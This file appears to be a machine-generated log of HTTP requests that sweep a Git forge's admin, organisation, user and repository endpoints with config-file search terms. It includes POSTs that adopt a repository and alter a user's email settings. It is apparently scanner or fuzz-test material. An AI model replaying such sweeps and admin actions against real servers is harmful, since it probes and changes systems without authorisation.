{"method": "GET", "target": "/admin/orgs?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/emails?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/packages?q=.htaccess&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 54", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=.htaccess&page=1"}
|
||||||
|
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 99", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=.htaccess&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
||||||
|
{"method": "GET", "target": "/explore/topics/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=docker-compose.yml&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/search_candidates?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/notifications/watching?q=docker-compose.yml&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/teams/-/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/acme?q=docker-compose.yml&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/code?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/projects?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=docker-compose.yml&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=docker-compose.yml&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/tags?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/milestone/1?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/projects?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/packages?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/posters?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls/posters?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/user/settings/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/orgs?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos?q=docker-compose.yml&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/emails?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/packages?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 63", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=docker-compose.yml&page=1"}
|
||||||
|
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 108", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=docker-compose.yml&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
||||||
|
{"method": "GET", "target": "/explore/topics/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
|
